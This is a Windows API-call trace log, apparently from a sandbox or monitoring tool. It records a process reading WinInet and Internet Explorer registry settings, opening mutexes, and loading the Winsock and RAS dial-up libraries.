09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => HttpDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => FtpDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => GopherDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableCachingOfSSLPages Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => PerUserCookies Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => LeashLegacyCookies Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableNT4RasCheck Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DialupUseLanSettings Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DialupUseLanSettings Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SendExtraCRLF Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => BypassFtpTimeCheck Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableGopher Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ReleaseSocketDuringAuth Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ReleaseSocketDuring401Auth Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ReleaseSocketDuring401Auth Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WpadSearchAllDomains Type => 132	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DisableLegacyPreAuthAsServer Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DisableLegacyPreAuthAsServer Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => BypassHTTPNoCacheCheck Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => BypassHTTPNoCacheCheck Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => BypassSSLNoCacheCheck Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => BypassSSLNoCacheCheck Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => EnableHttpTrace Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => EnableHttpTrace Type => 416	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => NoCheckAutodialOverRide Type => 412	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => NoCheckAutodialOverRide Type => 416	FAILURE	0x00000002
09:13:11,631	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,631	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,631	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DontUseDNSLoadBalancing Type => 412	FAILURE	0x00000002
09:13:11,631	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DontUseDNSLoadBalancing Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => NonBlockingClient32 Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ShareCredsWithWinHttp Type => 412	FAILURE	0x00000002
09:13:11,631	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 66 ValueName => MimeExclusionListForCache Type => 1	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 Data => multipart/mixed multipart/x-mixed-replace multipart/x-byteranges \x00 ValueName => MimeExclusionListForCache	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 0 ValueName => HeaderExclusionListForCache Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheEnabled Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheEntries Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheTimeout Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 Data => ValueName => WarnOnPost	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnAlwaysOnPost Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 Data => 0 ValueName => WarnOnZoneCrossing	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnBadCertSending Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnBadCertRecving Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnPostRedirect Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => AlwaysDrainOnRedirect Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnHTTPSToHTTPRedirect Type => 132	FAILURE	0x00000002
09:13:11,631	972	NtOpenMutant	Handle => 0x0000019c MutexName => WininetStartupMutex	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => GlobalUserOffline Type => 132	FAILURE	0x00000002
09:13:11,631	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,631	972	NtCreateMutant	Handle => 0x000001a8 InitialOwner => 0 MutexName =>	SUCCESS	0x00000000
09:13:11,631	972	NtCreateMutant	Handle => 0x000001ac InitialOwner => 0 MutexName =>	SUCCESS	0x00000000
09:13:11,631	972	NtOpenMutant	Handle => 0x000001b0 MutexName => WininetProxyRegistryMutex	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:11,631	972	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => rnaapp.exe	FAILURE	3221225781	1 time
09:13:11,631	972	RegOpenKeyExA	Handle => 0x000001b4 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x000001b4 DataLength => 11 ValueName => UrlEncoding Type => 1	FAILURE	0x000000ea
09:13:11,631	972	RegCloseKey	Handle => 0x000001b4	SUCCESS	0x00000000
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => TruncateFileName Type => 132	FAILURE	0x00000002
09:13:11,631	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => BadProxyExpiresTime Type => 132	FAILURE	0x00000002
09:13:11,651	972	LdrLoadDll	Flags => 522220 BaseAddress => 0x71ad0000 FileName => wsock32	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 1 FunctionName => FunctionAddress => 0x71ac1040 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 2 FunctionName => FunctionAddress => 0x71ab4480 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 3 FunctionName => FunctionAddress => 0x71ab3e2b ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 4 FunctionName => FunctionAddress => 0x71ab4a07 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 5 FunctionName => FunctionAddress => 0x71ac0b68 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 6 FunctionName => FunctionAddress => 0x71ab3d10 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 7 FunctionName => FunctionAddress => 0x71ad2ed6 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 8 FunctionName => FunctionAddress => 0x71ab2ead ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 9 FunctionName => FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 10 FunctionName => FunctionAddress => 0x71ab2ee1 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 11 FunctionName => FunctionAddress => 0x71ab45c1 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 12 FunctionName => FunctionAddress => 0x71ab3f50 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 13 FunctionName => FunctionAddress => 0x71ab8cd3 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 15 FunctionName => FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 16 FunctionName => FunctionAddress => 0x71ad2e70 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 17 FunctionName => FunctionAddress => 0x71ad3001 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 18 FunctionName => FunctionAddress => 0x71ab30a8 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 19 FunctionName => FunctionAddress => 0x71ab4c27 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 20 FunctionName => FunctionAddress => 0x71ab2f51 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 21 FunctionName => FunctionAddress => 0x71ad2e30 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 22 FunctionName => FunctionAddress => 0x71ac0bf6 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 23 FunctionName => FunctionAddress => 0x71ab4211 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 52 FunctionName => FunctionAddress => 0x71ab5355 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 57 FunctionName => FunctionAddress => 0x71ab5449 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 111 FunctionName => FunctionAddress => 0x71ab3cce ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 112 FunctionName => FunctionAddress => 0x71ab2a5e ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 115 FunctionName => FunctionAddress => 0x71ab6a55 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 116 FunctionName => FunctionAddress => 0x71ab3fed ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 151 FunctionName => FunctionAddress => 0x71ab3f7b ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
09:13:11,651	972	WSAStartup	VersionRequested => 0x00000101	SUCCESS	0x00000000
09:13:11,651	972	LdrLoadDll	Flags => 522220 BaseAddress => 0x71ab0000 FileName => ws2_32	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceBeginW FunctionAddress => 0x71ab35ef ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceEnd FunctionAddress => 0x71ab350e ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceNextW FunctionAddress => 0x71ab3181 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSANSPIoctl FunctionAddress => 0x71ab5086 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getaddrinfo FunctionAddress => 0x71ab2a6f ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => freeaddrinfo FunctionAddress => 0x71ab2b0b ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getnameinfo FunctionAddress => 0x71abc689 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:13:11,651	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,651	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:11,651	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:11,651	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,651	972	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 522012	FAILURE	0x00000002
09:13:11,651	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,681	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,691	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,691	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,691	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,691	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001bc SubKey => FEATURE_INCLUDE_PORT_IN_SPN_KB908209	FAILURE	0x00000002
09:13:11,691	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,691	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,691	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,691	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,721	972	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 522008	FAILURE	0x00000002
09:13:11,721	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x000001b8 Registry => 0x000001bc SubKey => FEATURE_MIME_HANDLING	SUCCESS	0x00000000
09:13:11,721	972	RegQueryValueExW	Handle => 0x000001b8 DataLength => 4 ValueName => svchost.exe Type => 521980	FAILURE	0x00000002
09:13:11,721	972	RegQueryValueExW	Handle => 0x000001b8 DataLength => 4 ValueName => * Type => 521980	FAILURE	0x00000002
09:13:11,721	972	RegCloseKey	Handle => 0x000001b8	SUCCESS	0x00000000
09:13:11,721	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,721	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,721	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,721	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,721	972	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 521712	FAILURE	0x00000002
09:13:11,721	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,721	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001bc SubKey => FEATURE_HTTP_USERNAME_PASSWORD_DISABLE	FAILURE	0x00000002
09:13:11,721	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,721	972	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
09:13:11,721	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,771	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:11,801	972	LdrLoadDll	Flags => 522528 BaseAddress => 0x76ee0000 FileName => RASAPI32.DLL	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasDialW FunctionAddress => 0x76ef68db ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasHangUpW FunctionAddress => 0x76ee8bcd ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEnumEntriesW FunctionAddress => 0x76ee3ce9 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetEntryDialParamsW FunctionAddress => 0x76ee7ad0 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetEntryDialParamsW FunctionAddress => 0x76ee917c ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEditPhonebookEntryW FunctionAddress => 0x76ee6839 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasCreatePhonebookEntryW FunctionAddress => 0x76ee6767 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetErrorStringW FunctionAddress => 0x76ee7d38 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,831	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetConnectStatusW FunctionAddress => 0x76ee70cb ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEnumConnectionsW FunctionAddress => 0x76ee2520 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetEntryPropertiesW FunctionAddress => 0x76ee9a5b ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetCredentialsW FunctionAddress => 0x76eeacb1 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetCredentialsW FunctionAddress => 0x76eeb078 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetAutodialAddressA FunctionAddress => 0x76eebbe0 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetAutodialAddressA FunctionAddress => 0x76eec044 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
09:13:11,841	972	LdrLoadDll	Flags => 522376 BaseAddress => 0x76e80000 FileName => RTUTILS.DLL	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceRegisterExA FunctionAddress => 0x76e8212f ModuleHandle => 0x76e80000	SUCCESS	0x00000000
09:13:11,841	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDeregisterA FunctionAddress => 0x76e83ff9 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
09:13:11,871	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDeregisterExA FunctionAddress => 0x76e82d77 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
09:13:11,871	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TracePrintfA FunctionAddress => 0x76e81aad ModuleHandle => 0x76e80000	SUCCESS	0x00000000
09:13:11,871	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TracePrintfExA FunctionAddress => 0x76e819e2 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
09:13:11,871	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDumpExA FunctionAddress => 0x76e8253f ModuleHandle => 0x76e80000	SUCCESS	0x00000000
